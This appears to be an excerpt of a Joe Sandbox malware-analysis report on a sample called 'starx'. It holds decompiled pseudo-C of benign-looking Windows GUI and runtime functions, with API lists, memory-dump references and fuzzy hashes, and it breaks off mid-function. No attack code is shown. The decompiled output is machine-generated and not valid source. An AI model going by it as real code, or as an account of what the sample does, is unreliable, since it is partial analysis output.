				int _t98;
				int _t100;
				intOrPtr _t117;
				int _t122;
				intOrPtr _t155;
				void* _t164;
				signed char _t180;
				intOrPtr _t182;
				intOrPtr _t194;
				int _t199;
				intOrPtr _t203;
				void* _t204;

				_t204 = __eflags;
				_t202 = _t203;
				_v8 = __eax;
				E0043FB3C(_v8);
				_push(_t203);
				_push(0x45592e);
				_push( *[fs:edx]);
				 *[fs:edx] = _t203;
				 *(_v8 + 0x268) = 0;
				 *(_v8 + 0x26c) = 0;
				 *(_v8 + 0x270) = 0;
				_t164 = 0;
				_t92 =  *0x47f661; // 0x0
				 *(_v8 + 0x234) = _t92 ^ 0x00000001;
				E0043F298(_v8, 0, __edx, _t204); // executed
				if( *(_v8 + 0x25c) == 0 ||  *(_v8 + 0x270) <= 0) {
					L12:
					_t98 =  *(_v8 + 0x268);
					_t213 = _t98;
					if(_t98 > 0) {
						E0043C4D8(_v8, _t98, _t213);
					}
					_t100 =  *(_v8 + 0x26c);
					_t214 = _t100;
					if(_t100 > 0) {
						E0043C51C(_v8, _t100, _t214);
					}
					_t180 =  *0x45593c; // 0x0
					 *(_v8 + 0x98) = _t180;
					_t215 = _t164;
					if(_t164 == 0) {
						E00454D38(_v8, 1, 1);
						E00442D68(_v8, 1, 1, _t215);
					}
					E0043DC70(_v8, 0, 0xb03d, 0);
					_pop(_t182);
					 *[fs:eax] = _t182;
					_push(0x455935);
					return E0043FB44(_v8);
				} else {
					if(( *(_v8 + 0x98) & 0x00000010) != 0) {
						_t194 =  *0x47fbbc; // 0x2331320
						if( *(_v8 + 0x25c) !=  *((intOrPtr*)(_t194 + 0x40))) {
							_t155 =  *0x47fbbc; // 0x2331320
							E0041CC74( *((intOrPtr*)(_v8 + 0x68)), MulDiv(E0041CC6C( *((intOrPtr*)(_v8 + 0x68))),  *(_t155 + 0x40),  *(_v8 + 0x25c)), __edi, _t202);
						}
					}
					_t117 =  *0x47fbbc; // 0x2331320
					 *(_v8 + 0x25c) =  *(_t117 + 0x40);
					_t199 = E00455A60(_v8);
					_t122 =  *(_v8 + 0x270);
					_t209 = _t199 - _t122;
					if(_t199 != _t122) {
						_t164 = 1;
						E00454D38(_v8, _t122, _t199);
						E00442D68(_v8,  *(_v8 + 0x270), _t199, _t209);
						if(( *(_v8 + 0x98) & 0x00000004) != 0) {
							 *(_v8 + 0x268) = MulDiv( *(_v8 + 0x268), _t199,  *(_v8 + 0x270));
						}
						if(( *(_v8 + 0x98) & 0x00000008) != 0) {
							 *(_v8 + 0x26c) = MulDiv( *(_v8 + 0x26c), _t199,  *(_v8 + 0x270));
						}
						if(( *(_v8 + 0x98) & 0x00000020) != 0) {
							 *(_v8 + 0x1fa) = MulDiv( *(_v8 + 0x1fa), _t199,  *(_v8 + 0x270));
							 *(_v8 + 0x1fe) = MulDiv( *(_v8 + 0x1fe), _t199,  *(_v8 + 0x270));
						}
					}
					goto L12;
				}
			}

0x004556d8
0x004556d9
0x004556e0
0x004556e6
0x004556ed
0x004556ee
0x004556f3
0x004556f6
0x004556fe
0x00455709
0x00455714
0x0045571a
0x0045571c
0x00455726
0x00455731
0x00455740
0x004558a2
0x004558a5
0x004558ab
0x004558ad
0x004558b4
0x004558b4
0x004558bc
0x004558c2
0x004558c4
0x004558cb
0x004558cb
0x004558d3
0x004558d9
0x004558df
0x004558e1
0x004558f0
0x00455902
0x00455902
0x00455913
0x0045591a
0x0045591d
0x00455920
0x0045592d
0x00455756
0x00455760
0x0045576b
0x00455774
0x00455780
0x004557a0
0x004557a0
0x00455774
0x004557a5
0x004557b0
0x004557be
0x004557c3
0x004557c9
0x004557cb
0x004557d1
0x004557da
0x004557ed
0x004557fc
0x0045581b
0x0045581b
0x0045582b
0x0045584a
0x0045584a
0x0045585a
0x00455879
0x0045589c
0x0045589c
0x0045585a
0x00000000
0x004557cb

APIs

MulDiv.KERNEL32(00000000,?,00000000), ref: 00455797
MulDiv.KERNEL32(?,00000000,00000000), ref: 00455813
MulDiv.KERNEL32(?,00000000,00000000), ref: 00455842
MulDiv.KERNEL32(?,00000000,00000000), ref: 00455871
MulDiv.KERNEL32(?,00000000,00000000), ref: 00455894

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82123aee72b8b73216fe7aa0c7a038c5d35fc4677dfa6faf4a4a83531ed72fb2
Instruction ID: fd99e578c65c1c4aaa3380d83c27773b93133d109a5f187c7d55ceb4c588a134
Opcode Fuzzy Hash: 82123aee72b8b73216fe7aa0c7a038c5d35fc4677dfa6faf4a4a83531ed72fb2
Instruction Fuzzy Hash: 93710874A00104EFDB00DBA9C589EADB3F5AF49304F2941FAE808DB362D739AE45DB44

Uniqueness

Uniqueness Score: -1.00%

Function 004335B4, Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E004335B4(intOrPtr* __eax, void* __ebx, signed int __ecx, struct tagRECT* __edx, void* __edi, void* __esi) {
				char _v8;
				int _t40;
				CHAR* _t42;
				int _t54;
				CHAR* _t56;
				int _t65;
				CHAR* _t67;
				intOrPtr* _t76;
				intOrPtr _t86;
				struct tagRECT* _t91;
				signed int _t93;
				int _t94;
				intOrPtr _t97;
				signed int _t104;

				_push(0);
				_t93 = __ecx;
				_t91 = __edx;
				_t76 = __eax;
				_push(_t97);
				_push(0x43370a);
				_push( *[fs:eax]);
				 *[fs:eax] = _t97;
				 *((intOrPtr*)( *__eax + 0x90))();
				if((__ecx & 0x00000400) != 0 && (_v8 == 0 ||  *((char*)(__eax + 0x170)) != 0 &&  *_v8 == 0x26 &&  *((char*)(_v8 + 1)) == 0)) {
					E00404288( &_v8, 0x433720);
				}
				if( *((char*)(_t76 + 0x170)) == 0) {
					_t104 = _t93;
				}
				_t94 = E0043ED9C(_t76, _t93, _t104);
				E0041D978( *((intOrPtr*)(_t76 + 0x160)));
				if( *((intOrPtr*)( *_t76 + 0x50))() != 0) {
					_t40 = E00404280(_v8);
					_t42 = E00404480(_v8);
					DrawTextA(E0041DA58( *((intOrPtr*)(_t76 + 0x160))), _t42, _t40, _t91, _t94); // executed
				} else {
					OffsetRect(_t91, 1, 1);
					E0041CA8C( *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x160)) + 0xc)), 0xff000014);
					_t54 = E00404280(_v8);
					_t56 = E00404480(_v8);
					DrawTextA(E0041DA58( *((intOrPtr*)(_t76 + 0x160))), _t56, _t54, _t91, _t94);
					OffsetRect(_t91, 0xffffffff, 0xffffffff);
					E0041CA8C( *((intOrPtr*)( *((intOrPtr*)(_t76 + 0x160)) + 0xc)), 0xff000010);
					_t65 = E00404280(_v8);
					_t67 = E00404480(_v8);
					DrawTextA(E0041DA58( *((intOrPtr*)(_t76 + 0x160))), _t67, _t65, _t91, _t94);
				}
				_pop(_t86);
				 *[fs:eax] = _t86;
				_push(0x433711);
				return E00403FC0( &_v8);
			}

0x004335b7
0x004335bc
0x004335be
0x004335c0
0x004335c4
0x004335c5
0x004335ca
0x004335cd
0x004335d7
0x004335e3
0x0043360d
0x0043360d
0x00433619
0x0043361b
0x0043361b
0x0043362a
0x00433635
0x00433643
0x004336d4
0x004336dd
0x004336ef
0x00433649
0x0043364e
0x00433661
0x0043366b
0x00433674
0x00433686
0x00433690
0x004336a3
0x004336ad
0x004336b6
0x004336c8
0x004336c8
0x004336f6
0x004336f9
0x004336fc
0x00433709

APIs

OffsetRect.USER32(?,00000001,00000001), ref: 0043364E
DrawTextA.USER32(00000000,00000000,00000000,?,00000000), ref: 00433686
OffsetRect.USER32(?,000000FF,000000FF), ref: 00433690
DrawTextA.USER32(00000000,00000000,00000000,?,00000000), ref: 004336C8
DrawTextA.USER32(00000000,00000000,00000000,?,00000000), ref: 004336EF

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: DrawText$OffsetRect
String ID:
API String ID: 1886049697-0
Opcode ID: b432f8b45ecf582c07a0a04e6b859a865fa3cf1372da1cb2b2de329da5535cd1
Instruction ID: 1920b9ea15bcd73aefaac48a3a16e80f199d7b8abff6e1626443891b82cde74e
Opcode Fuzzy Hash: b432f8b45ecf582c07a0a04e6b859a865fa3cf1372da1cb2b2de329da5535cd1
Instruction Fuzzy Hash: 4F314670A04104AFDB11EF69CC86B8B77E8AF49718F1541BAF804AB396C7789E049618

Uniqueness

Uniqueness Score: -1.00%

Function 00456C30, Relevance: 6.1, APIs: 4, Instructions: 148
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 89%

			E00456C30(void* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				void* _t41;
				void* _t54;
				void* _t61;
				struct HMENU__* _t64;
				struct HMENU__* _t70;
				intOrPtr _t77;
				void* _t79;
				intOrPtr _t81;
				intOrPtr _t83;
				intOrPtr _t87;
				void* _t92;
				intOrPtr _t98;
				void* _t111;
				intOrPtr _t113;
				void* _t116;

				_t109 = __edi;
				_push(__edi);
				_v20 = 0;
				_t113 = __edx;
				_t92 = __eax;
				_push(_t116);
				_push(0x456df6);
				_push( *[fs:eax]);
				 *[fs:eax] = _t116 + 0xfffffff0;
				if(__edx == 0) {
					L7:
					_t39 =  *((intOrPtr*)(_t92 + 0x248));
					if( *((intOrPtr*)(_t92 + 0x248)) != 0) {
						E004505BC(_t39, 0, _t109, 0);
					}
					if(( *(_t92 + 0x1c) & 0x00000008) != 0 || _t113 != 0 && ( *(_t113 + 0x1c) & 0x00000008) != 0) {
						_t113 = 0;
					}
					 *((intOrPtr*)(_t92 + 0x248)) = _t113;
					if(_t113 != 0) {
						E00419758(_t113, _t92);
					}
					if(_t113 == 0 || ( *(_t92 + 0x1c) & 0x00000010) == 0 &&  *((char*)(_t92 + 0x229)) == 3) {
						_t41 = E004435A8(_t92);
						__eflags = _t41;
						if(_t41 != 0) {
							SetMenu(E004432A4(_t92), 0); // executed
						}
						goto L30;
					} else {
						if( *((char*)( *((intOrPtr*)(_t92 + 0x248)) + 0x5c)) != 0 ||  *((char*)(_t92 + 0x22f)) == 1) {
							if(( *(_t92 + 0x1c) & 0x00000010) == 0) {
								__eflags =  *((char*)(_t92 + 0x22f)) - 1;
								if( *((char*)(_t92 + 0x22f)) != 1) {
									_t54 = E004435A8(_t92);
									__eflags = _t54;
									if(_t54 != 0) {
										SetMenu(E004432A4(_t92), 0);
									}
								}
								goto L30;
							}
							goto L21;
						} else {
							L21:
							if(E004435A8(_t92) != 0) {
								_t61 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t92 + 0x248)))) + 0x34))();
								_t110 = _t61;
								_t64 = GetMenu(E004432A4(_t92));
								_t138 = _t61 - _t64;
								if(_t61 != _t64) {
									_t70 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t92 + 0x248)))) + 0x34))();
									SetMenu(E004432A4(_t92), _t70);
								}
								E004505BC(_t113, E004432A4(_t92), _t110, _t138);
							}
							L30:
							if( *((char*)(_t92 + 0x22e)) != 0) {
								E00457CF4(_t92, 1);
							}
							E00456B68(_t92);
							_pop(_t98);
							 *[fs:eax] = _t98;
							_push(0x456dfd);
							return E00403FC0( &_v20);
						}
					}
				}
				_t77 =  *0x47fbbc; // 0x2331320
				_t79 = E0045A460(_t77) - 1;
				if(_t79 >= 0) {
					_v8 = _t79 + 1;
					_t111 = 0;
					do {
						_t81 =  *0x47fbbc; // 0x2331320
						if(_t113 ==  *((intOrPtr*)(E0045A44C(_t81, _t111) + 0x248))) {
							_t83 =  *0x47fbbc; // 0x2331320
							if(_t92 != E0045A44C(_t83, _t111)) {
								_v16 =  *((intOrPtr*)(_t113 + 8));
								_v12 = 0xb;
								_t87 =  *0x47e514; // 0x41ac9c
								E00405B24(_t87,  &_v20);
								E0040B614(_t92, _v20, 1, _t111, _t113, 0,  &_v16);
								E004039FC();
							}
						}
						_t111 = _t111 + 1;
						_t10 =  &_v8;
						 *_t10 = _v8 - 1;
					} while ( *_t10 != 0);
				}
			}

0x00456c30
0x00456c38
0x00456c3b
0x00456c3e
0x00456c40
0x00456c44
0x00456c45
0x00456c4a
0x00456c4d
0x00456c52
0x00456cc4
0x00456cc4
0x00456ccc
0x00456cd0
0x00456cd0
0x00456cd9
0x00456ce5
0x00456ce5
0x00456ce7
0x00456cef
0x00456cf5
0x00456cf5
0x00456cfc
0x00456daf
0x00456db4
0x00456db6
0x00456dc2
0x00456dc2
0x00000000
0x00456d15
0x00456d1f
0x00456d2e
0x00456d88
0x00456d8f
0x00456d93
0x00456d98
0x00456d9a
0x00456da6
0x00456da6
0x00456d9a
0x00000000
0x00456d8f
0x00000000
0x00456d30
0x00456d30
0x00456d39
0x00456d47
0x00456d4a
0x00456d54
0x00456d59
0x00456d5b
0x00456d65
0x00456d71
0x00456d71
0x00456d81
0x00456d81
0x00456dc7
0x00456dce
0x00456dd4
0x00456dd4
0x00456ddb
0x00456de2
0x00456de5
0x00456de8
0x00456df5
0x00456df5
0x00456d1f
0x00456cfc
0x00456c54
0x00456c5e
0x00456c61
0x00456c64
0x00456c67
0x00456c69
0x00456c6b
0x00456c7b
0x00456c7f
0x00456c8b
0x00456c90
0x00456c93
0x00456ca0
0x00456ca5
0x00456cb4
0x00456cb9
0x00456cb9
0x00456c8b
0x00456cbe
0x00456cbf
0x00456cbf
0x00456cbf
0x00456c69

APIs

GetMenu.USER32(00000000), ref: 00456D54
SetMenu.USER32(00000000,00000000), ref: 00456D71
SetMenu.USER32(00000000,00000000), ref: 00456DA6
SetMenu.USER32(00000000,00000000,00000000,00456DF6), ref: 00456DC2

Part of subcall function 00405B24: LoadStringA.USER32 ref: 00405B55

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Menu$LoadString
String ID:
API String ID: 3688185913-0
Opcode ID: dffe1fb1fe1cb66beaf47b9ac8e35b0b3c966a28a78a48f8bb194ef2e86ab1ed
Instruction ID: 193095ba02a3528528d00d04778baa5a47a1f93ef90aff2cbdb6e806915be456
Opcode Fuzzy Hash: dffe1fb1fe1cb66beaf47b9ac8e35b0b3c966a28a78a48f8bb194ef2e86ab1ed
Instruction Fuzzy Hash: AD51C070B002449BDB51EF2AC88575A77A4AF0470AF8648BBAC459B397CA7CDD4C8B5C

Uniqueness

Uniqueness Score: -1.00%

Function 0045A1B4, Relevance: 6.1, APIs: 4, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0045A1B4(char __edx, void* __edi) {
				char _v5;
				void* __ebx;
				void* __ecx;
				void* __ebp;
				intOrPtr _t25;
				intOrPtr* _t28;
				intOrPtr* _t29;
				intOrPtr _t42;
				intOrPtr* _t45;
				intOrPtr _t56;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr _t62;
				void* _t63;
				char _t64;
				void* _t74;
				intOrPtr _t75;
				void* _t76;
				void* _t77;

				_t74 = __edi;
				_t64 = __edx;
				if(__edx != 0) {
					_t77 = _t77 + 0xfffffff0;
					_t25 = E00403594(_t25, _t76);
				}
				_v5 = _t64;
				_t62 = _t25;
				E00419688(_t63, 0);
				_t28 =  *0x47e4ec; // 0x4673b4
				 *((intOrPtr*)(_t28 + 4)) = _t62;
				 *_t28 = 0x45a558;
				_t29 =  *0x47e4f8; // 0x4673bc
				 *((intOrPtr*)(_t29 + 4)) = _t62;
				 *_t29 = 0x45a564;
				E0045A570(_t62);
				 *((intOrPtr*)(_t62 + 0x3c)) = GetKeyboardLayout(0);
				 *((intOrPtr*)(_t62 + 0x4c)) = E00403240(1);
				 *((intOrPtr*)(_t62 + 0x50)) = E00403240(1);
				 *((intOrPtr*)(_t62 + 0x54)) = E00403240(1);
				 *((intOrPtr*)(_t62 + 0x58)) = E00403240(1);
				_t42 = E00403240(1);
				 *((intOrPtr*)(_t62 + 0x7c)) = _t42;
				L004065DC();
				_t75 = _t42;
				L00406314();
				 *((intOrPtr*)(_t62 + 0x40)) = _t42;
				L0040681C();
				_t11 = _t62 + 0x58; // 0x45342c6e
				_t45 =  *0x47e6ac; // 0x47f91c
				 *((intOrPtr*)( *_t45))(0, 0, E0045698C,  *_t11, 0, _t75, _t75, 0x5a, 0);
				 *((intOrPtr*)(_t62 + 0x84)) = E0041C8B8(1);
				 *((intOrPtr*)(_t62 + 0x88)) = E0041C8B8(1);
				 *((intOrPtr*)(_t62 + 0x80)) = E0041C8B8(1);
				E0045A990(_t62, _t62, _t63, _t74);
				_t15 = _t62 + 0x84; // 0x38004010
				_t56 =  *_t15;
				 *((intOrPtr*)(_t56 + 0xc)) = _t62;
				 *((intOrPtr*)(_t56 + 8)) = 0x45a86c;
				_t18 = _t62 + 0x88; // 0x90000000
				_t57 =  *_t18;
				 *((intOrPtr*)(_t57 + 0xc)) = _t62;
				 *((intOrPtr*)(_t57 + 8)) = 0x45a86c;
				_t21 = _t62 + 0x80; // 0xac000000
				_t58 =  *_t21;
				 *((intOrPtr*)(_t58 + 0xc)) = _t62;
				 *((intOrPtr*)(_t58 + 8)) = 0x45a86c;
				_t59 = _t62;
				if(_v5 != 0) {
					E004035EC(_t59);
					_pop( *[fs:0x0]);
				}
				return _t62;
			}

0x0045a1b4
0x0045a1b4
0x0045a1bc
0x0045a1be
0x0045a1c1
0x0045a1c1
0x0045a1c6
0x0045a1c9
0x0045a1cf
0x0045a1d4
0x0045a1d9
0x0045a1dc
0x0045a1e2
0x0045a1e7
0x0045a1ea
0x0045a1f2
0x0045a1fe
0x0045a20d
0x0045a21c
0x0045a22b
0x0045a23a
0x0045a244
0x0045a249
0x0045a24e
0x0045a253
0x0045a258
0x0045a25d
0x0045a263
0x0045a268
0x0045a276
0x0045a27d
0x0045a28b
0x0045a29d
0x0045a2af
0x0045a2b7
0x0045a2bc
0x0045a2bc
0x0045a2c2
0x0045a2c5
0x0045a2cc
0x0045a2cc
0x0045a2d2
0x0045a2d5
0x0045a2dc
0x0045a2dc
0x0045a2e2
0x0045a2e5
0x0045a2ec
0x0045a2f2
0x0045a2f4
0x0045a2f9
0x0045a300
0x0045a309

APIs

GetKeyboardLayout.USER32 ref: 0045A1F9
739EAC50.USER32(00000000,00000000,?,?,00000000,?,00448156,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0045A24E
739EAD70.GDI32(00000000,0000005A,00000000,00000000,?,?,00000000,?,00448156,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0045A258
739EB380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,?,?,00000000,?,00448156,00000000,00000000,?,00000000,?), ref: 0045A263

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: B380KeyboardLayout
String ID:
API String ID: 648844651-0
Opcode ID: 20ad04884f52d658531dc933577407ff60806a8dbf6902ef38e4b961030199f8
Instruction ID: 3c363b47347cb8115aacd1af3dbc980af443aefe98b24096df1812a56c150057
Opcode Fuzzy Hash: 20ad04884f52d658531dc933577407ff60806a8dbf6902ef38e4b961030199f8
Instruction Fuzzy Hash: 3931E8B06002409FD740EF6AD8C1B857BE4AB04719F45C1BAE908DF3A7DB3A98488B59

Uniqueness

Uniqueness Score: -1.00%

Function 00401A14, Relevance: 6.0, APIs: 4, Instructions: 48
memoryCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00401A14() {
				void* _t11;
				signed int _t13;
				intOrPtr _t19;
				void* _t20;
				intOrPtr _t23;

				_push(_t23);
				_push(E00401ACA);
				_push( *[fs:edx]);
				 *[fs:edx] = _t23;
				_push(0x47f5c8);
				L00401368();
				if( *0x47f049 != 0) {
					_push(0x47f5c8);
					L00401370();
				}
				E004013D8(0x47f5e8);
				E004013D8(0x47f5f8);
				E004013D8(0x47f624);
				_t11 = LocalAlloc(0, 0xff8); // executed
				 *0x47f620 = _t11;
				if( *0x47f620 != 0) {
					_t13 = 3;
					do {
						_t20 =  *0x47f620; // 0x7f1a78
						 *((intOrPtr*)(_t20 + _t13 * 4 - 0xc)) = 0;
						_t13 = _t13 + 1;
					} while (_t13 != 0x401);
					 *((intOrPtr*)(0x47f60c)) = 0x47f608;
					 *0x47f608 = 0x47f608;
					 *0x47f614 = 0x47f608;
					 *0x47f5c0 = 1;
				}
				_pop(_t19);
				 *[fs:eax] = _t19;
				_push(E00401AD1);
				if( *0x47f049 != 0) {
					_push(0x47f5c8);
					L00401378();
					return 0;
				}
				return 0;
			}

0x00401a19
0x00401a1a
0x00401a1f
0x00401a22
0x00401a25
0x00401a2a
0x00401a36
0x00401a38
0x00401a3d
0x00401a3d
0x00401a47
0x00401a51
0x00401a5b
0x00401a67
0x00401a6c
0x00401a78
0x00401a7a
0x00401a7f
0x00401a7f
0x00401a87
0x00401a8b
0x00401a8c
0x00401a98
0x00401a9b
0x00401a9d
0x00401aa2
0x00401aa2
0x00401aab
0x00401aae
0x00401ab1
0x00401abd
0x00401abf
0x00401ac4
0x00000000
0x00401ac4
0x00401ac9

APIs

RtlInitializeCriticalSection.KERNEL32(0047F5C8,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401A2A
RtlEnterCriticalSection.KERNEL32(0047F5C8,0047F5C8,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401A3D
LocalAlloc.KERNEL32(00000000,00000FF8,0047F5C8,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401A67
RtlLeaveCriticalSection.KERNEL32(0047F5C8,00401AD1,00000000,00401ACA,?,?,004022AE,0233264C,?,00000000,?,?,00401C9D,00401CB2,00401E03), ref: 00401AC4

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: b5bd9ea12f7b67663056c146cba69a0f164e36a4c48c2e83cbc1feda4fbd0edb
Instruction ID: 2e5a23590e571581d0364d2e1679fd93eb3782c15eac1a5174b48ad8f47c3ae3
Opcode Fuzzy Hash: b5bd9ea12f7b67663056c146cba69a0f164e36a4c48c2e83cbc1feda4fbd0edb
Instruction Fuzzy Hash: AA01C8706443406EE315BFBAA805B293AC1F786704F50807BF409E66F2D7BC4489CB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00463858, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60
registryclipboardCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E00463858(void* __ebx, void* __ecx, void* __edx, void* __esi) {
				char _v8;
				void* _t12;
				signed int _t19;
				void* _t37;
				void* _t40;
				intOrPtr _t47;
				void* _t49;
				intOrPtr _t51;
				intOrPtr _t52;

				_t40 = __edx;
				_t37 = __ecx;
				_t51 = _t52;
				_push(0);
				if(__edx != 0) {
					_t52 = _t52 + 0xfffffff0;
					_t12 = E00403594(_t12, _t51);
				}
				_t49 = _t12;
				_push(_t51);
				_push(0x46390c);
				_push( *[fs:eax]);
				 *[fs:eax] = _t52;
				E00419688(_t37, 0);
				 *((short*)(_t49 + 0x48)) = RegisterClipboardFormatA("Link");
				 *(_t49 + 0x44) = 0;
				_t3 = _t49 + 0x44; // 0x44
				_t19 = DdeInitializeA(_t3, E00463648, 0, 0); // executed
				E00463548(_t19 & 0xffffff00 | _t19 == 0x00000000, _t40);
				 *((intOrPtr*)(_t49 + 0x38)) = E00403240(1);
				 *((intOrPtr*)(_t49 + 0x3c)) = E00403240(1);
				 *((intOrPtr*)(_t49 + 0x40)) = E00403240(1);
				E004029FC(0,  &_v8);
				E00463C34(_t49, _t40, _t37, _v8, _t49, _t19); // executed
				_pop(_t47);
				 *[fs:eax] = _t47;
				_push(0x463913);
				return E00403FC0( &_v8);
			}

0x00463858
0x00463858
0x00463859
0x0046385b
0x00463861
0x00463863
0x00463866
0x00463866
0x0046386d
0x00463871
0x00463872
0x00463877
0x0046387a
0x00463881
0x00463890
0x00463896
0x004638a2
0x004638a6
0x004638b0
0x004638c1
0x004638d0
0x004638df
0x004638e7
0x004638f1
0x004638f8
0x004638fb
0x004638fe
0x0046390b

APIs

RegisterClipboardFormatA.USER32(Link), ref: 0046388B
DdeInitializeA.USER32 ref: 004638A6

Strings

Link, xrefs: 00463886

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ClipboardFormatInitializeRegister
String ID: Link
API String ID: 2093994020-2526951119
Opcode ID: 40d77e200e674652011f63380c381c42dfae9e1c05887ff2df54785d522661c3
Instruction ID: eb0374668849b65f3496155f63c75e83ffe79d7fa1bae63d26bfd689befb45c1
Opcode Fuzzy Hash: 40d77e200e674652011f63380c381c42dfae9e1c05887ff2df54785d522661c3
Instruction Fuzzy Hash: 81119471600780AFD720EF76CD42B4A77E8AB04B09B61843FF501D76A1E77AAA048B5D

Uniqueness

Uniqueness Score: -1.00%

Function 004247F8, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004247F8(int _a4) {
				void* __ebx;
				void* __ebp;
				signed int _t2;
				signed int _t3;
				void* _t7;
				int _t8;
				void* _t12;
				void* _t13;
				void* _t17;
				void* _t18;

				_t8 = _a4;
				if( *0x47f928 == 0) {
					 *0x47f900 = E00424710(0, _t8,  *0x47f900, _t17, _t18);
					_t7 =  *0x47f900(_t8); // executed
					return _t7;
				}
				_t3 = _t2 | 0xffffffff;
				_t12 = _t8 + 0xffffffb4 - 2;
				__eflags = _t12;
				if(__eflags < 0) {
					_t3 = 0;
				} else {
					if(__eflags == 0) {
						_t8 = 0;
					} else {
						_t13 = _t12 - 1;
						__eflags = _t13;
						if(_t13 == 0) {
							_t8 = 1;
						} else {
							__eflags = _t13 - 0xffffffffffffffff;
							if(_t13 - 0xffffffffffffffff < 0) {
								_t3 = 1;
							}
						}
					}
				}
				__eflags = _t3 - 0xffffffff;
